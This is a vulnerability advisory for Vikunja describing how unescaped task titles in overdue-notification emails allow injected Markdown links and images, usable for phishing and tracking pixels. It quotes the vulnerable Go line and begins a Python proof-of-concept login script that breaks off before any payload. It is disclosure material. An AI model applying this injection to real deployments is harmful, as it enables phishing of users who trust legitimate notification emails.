Vikunja has HTML Injection via Task Titles in Overdue Email Notifications
Date: 2026-04
Affected: go/code.vikunja.io/api
Attack vector: phishing
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-34727
CVE-2026-35600
CWE: CWE-287
CWE-79
CVSS: 5.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)

## Summary Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows `<a>` and `<img>` tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails. ## Details The overdue task notification at `pkg/models/notifications.go:360` constructs a Markdown list entry: ```go overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...` ``` The task title is placed inside Markdown link syntax `[TITLE](URL)`. A title containing `]` and `[` breaks the link structure. The assembled Markdown is converted to HTML by goldmark at `pkg/notifications/mail_render.go:214`, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows `<a href>` and `<img src>` with http/https URLs, the injected links and images survive sanitization and reach the email recipient. The same pattern affects multiple notification types at `notifications.go` lines 72, 176, 227, and 318. ## Proof of Concept Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink). ```python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "applicatio


Mitigations:

Architectural layers (MAESTRO):